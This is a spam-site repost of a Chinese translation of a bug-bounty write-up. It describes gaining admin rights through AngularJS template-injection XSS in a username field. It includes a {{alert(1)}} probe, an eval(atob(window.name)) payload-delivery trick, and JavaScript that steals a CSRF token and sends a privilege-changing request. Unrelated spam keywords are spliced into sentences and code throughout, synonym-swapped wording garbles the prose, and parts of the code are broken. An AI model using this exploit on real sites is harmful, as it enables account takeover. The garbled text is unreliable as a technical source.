- N +

金钱龟,国旗图片-ope体育正网_ope体育正规大网_ope体育

原标题:金钱龟,国旗图片-ope体育正网_ope体育正规大网_ope体育

导读:

利用基于AngularJS的XSS实现提权...

文章目录 [+]

大家好,我是Shawar Khan。自我前次写作以来现已时隔好几个月了,这段时刻我一向忙于不同的测验方针。最近我在某个方针中发现了一个风趣的XSS缝隙,经过该缝隙我能够将我的权限提高为办理员用户。

XSS是一个十分风趣的缝隙,在发现它之后,你能够直接与运用程序进行通讯,而无需担金钱龟,国旗图片-ope体育正网_ope体育正规大网_ope体育心同源战略。一切都在咱们的操控之中,大部分维护都被打破了。

办理员用户具有运用程序的最高权限能够对恣意用户履行增加/删去/修正操作。而我终究得以提高到办理员权限便是经过XSS做到的。每逢我发现XSS,我都会测验运用一些共同的方法来运用它们。令牌抓取,CSRF维护绕过或是抓取cookie,现在看来现已显得有些过期。

在我的测验期间,在用户配置文件页面我发现了多个XSS缝隙。每个注册用户都有不同的配置文件页面,如“https://www.site.com/users/username-here”。

发现根据 AngularJS 的XSS:

这是一个一切特权用户均可拜访包括用户帐户名和姓的页面尖沙咀段坤什么梗。运用简略的测验探针,如“>并没有显现任何成果,所以这说明该运用已做了恰当的XSS维护。一切特别字符都被正确过滤,这引发了我的另一考虑,为什么不测验获取根据AngularJS的XSS呢?转到“ settings”并将帐户名更改为“{{alert(1)}}”。

因而,我锡林郭勒天气预报以不同的特权用户身份测验了相同的内容,并导航到了我的配置文件/users/username_page(任何用户均可拜访)触发payload。

当测验提高权限时,你的首要方针是寻觅能够修正你人物的功用或是约请你进入不受限区域的功用。在我的比如中,办理员用户有权修正/增加用户。

在我的比如中,我有一个测验办理员帐户来测验这些问题,所以我知道要增加一个新的办理员特权用户需求仿制什么恳求。在没有拜访权限的情况下,你只需测验经过发送document.body.innerHTML的输出来获取办理帐户的源码,并测验获取有关内部功用的信息。能够运用XSSHunter和其他一些东西来获取此类信息。

怎么供给 payload ?

无论怎么,用户名字段的长度约束很短,因而无法在该字段中编写整个缝隙运用代码。用户名还会将条目增加到配置文件页面,此外它也会显现为歹意内容。相同受限于长度,无法注入引证外部Java的脚本符号。

与平常相同,我经过window.name供给payload。我总是经过window.name供给payload,由于它没有运用约束,加载咱们的缝隙运用叔叔不要啊代码的payload约束为20个字符,由于咱们将只加载给定的payload并将其供给给eval(atob(top.name))运用这种技能的另一个优点是,能够金钱龟,国旗图片-ope体育正网_ope体育正规大网_ope体育绕过绕过许多歹意关键字的验证查看,由于咱们的首要缝隙运用代码不会被输入到易受进犯的运用程序中。因而简而言之,咱们的进犯代码不会被验证和查看。

因而,能够经过运用window.open(url,”window name here”)翻开一个URL来设置window name,咱们将缝隙运用代码设置为base64。因而,经过调用window.name,它将回来咱们的缝隙代码,这些代码将由eval履行

定位用户修正功用:

此功用发现于办理用户门户,而且最高权限用户能够恣意更改运用程序中用户的数据和权限。这里有不同的选项,如电子邮件更改和复选框,以承认用户是否具有更高的权限。经过设置参数“csc=1”,用户将被颁发full权限,但此操作只能由办理员用户履行。假如仅检索源码,则能够经过履行源码检查来了解哪些端点选用哪些参数来映射一切功用卫玠容貌复原图。

以下是将用户修正为管狼群4理员和彻底权限用户的恳求:

POST /users/attackers-username HTTP/1.1 Host: vulnerablesite.com User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:68.0) Gecko/201001成慧琳01 Firefox/68.0 Accept: 哥斯达黎加老虎尾applicati帅哥丁丁on/json, text/plain, */* Accept-Lan宝石转转转guage: en-US,en;q=0.5 Accept-Encoding荒木飞吕彦厌烦我国: gzip, deflate Connection: cl艾莉莉ose Content-Type: application/x-www-form-urlencoded Content-Length: 141 _method=PUT&_token=CSRF_TOKEN_HERE&name=USERNAME&em金钱龟,国旗图片-ope体育正网_ope体育正规大网_ope体育ail=USER_EMAIL&phone=&csc=1

为了提高咱们的权限,应该再现以上恳求,这样当更高权限用户拜访咱们的缝隙运用代码时,咱们的用户将被修正。

编写缝隙运用代码:

咱们首先要检索的是CSRF令牌,这样咱们就能够验证恳求。有时它会出现在cookie中,因而从document.cookie中检索它十分简单,但在本例中,是在一个meta符号中找到的:

极品男人公寓

我运用fetch翻开了坐落/settings的设置页面,并将其输出存储在变量woot中。然后我运用woot.getElementsByTagName(‘meta’)[3]['content']来检索CSRF令牌的值,并将其存储到新变量csrf_token中,现在咱们的缝隙运用代码如下:

var woot = document.('html'); fetch('https://vulnerablesite.com/settings',{黑陨石炸鸡credentials: 'include'}).then((resp) => resp.text).then(function(data){ woot.innerHTML=data; var csrf_token = woot.getElementsByTagName('m金钱龟,国旗图片-ope体育正网_ope体育正规大网_ope体育eta')[3]['content'] ... ... ...

现在咱们将运用XHR重现恳求:

function privilege_escalate{ var req = new ; req.open('POST','https://vulnerablesite.com/users/mrs-camylle-kertzmazevalwindo羞维娅wname',true); req.withCredentials = true; req.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); req.send('_method=PUT&_token='+csrf_token+'&name=Mrs.+Camylle+Kertzmaz%7B%7Beval%28window.name%29%7D%7D&email=user%40example.org&phone=&csc=1'); }

上面的privilege_escalate函数在履行时将发送一个POST恳求,该恳求将更改进犯者帐户(在我的比如中为mrs-camylle-kertzmazevalwindowname)的信息,并将称号更改为payload {{eval(atob(window.name))}}这将保存称号,因而当window.name具有缝隙运用代码时,它将用于从window.name履行缝隙运用代码。此外,该恳求的csc=1这将更改用户的权限。

终究的缝隙运用代码: // XSS Exploit code for Privilege Escalation // Author: Shawar Khan var woot 金钱龟,国旗图片-ope体育正网_ope体育正规大网_ope体育= document.来操('html金钱龟,国旗图片-ope体育正网_ope体育正规大网_ope体育'); fetch('https://vulnerablesite.com/settings',{credentials: 'inc余薇邵城lude'}).then((resp) => resp.text).t徐永进hen(function(data){ woot.innerHTML=data; var csrf_token = woot.getElementsByTagName('meta')[3]['content']; privilege_escalate; function privilege_escalate{ var req = new ; req.open('POST','https://vulnerablesite.com都市鉴宝达人/users/mrs-camylle-kertzmazevalwindowname',true); req飞机忽然倒滑.withCredentials = true; req.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); req.send('_method=PUT&_token='+csrf_token+'&name=Mrs.+Camylle+Kertzmaz%7B%7Beval%28window.name%29%7D%7D&email=user%40example.org&phone=&csc=1'); } } )

缝隙运用代码可进一步base64编码并用作window name,因而当eval(atob(window.name))履行该代码时将触发它。咱们现在能够运用以下代码翻开咱们的配置文件页面,并将咱们的缝隙运用代码设置为window name。这样,一旦拜访了window.name,咱们的缝隙运用代码就会被触发:

在以下截图中咱们能够看到,咱们的用户能够拜访的功用受限:

而在高权限用户成功履行缝隙运用代码后,咱们的帐户具有了最高权限以及对办理功用的拜访权限。如下图所示:

总结

每逢测验XSS缝隙时,千万不要由于运用程序对用户输入的正确过滤而抛弃。你应该进一步的经过测验运用其他技能来完成对XSS的有用运用。例如本文中说到的XSS。测验运用{{alert(1}}或测验上传.swf,.svg,.html,.url等文件。

永久不要停留在缝隙的检测上,总是试着去了解它的局限性和规模。在面临XSS时,测验与共同的功用进行交互,而不仅仅仅仅一个弹窗。

*参阅来历:shawarkhan,FB小编secist编译,转载请注明来自FreeBuf.COM

有好的文章希望我们帮助分享和推广,猛戳这里我要投稿

返回列表
上一篇:
下一篇: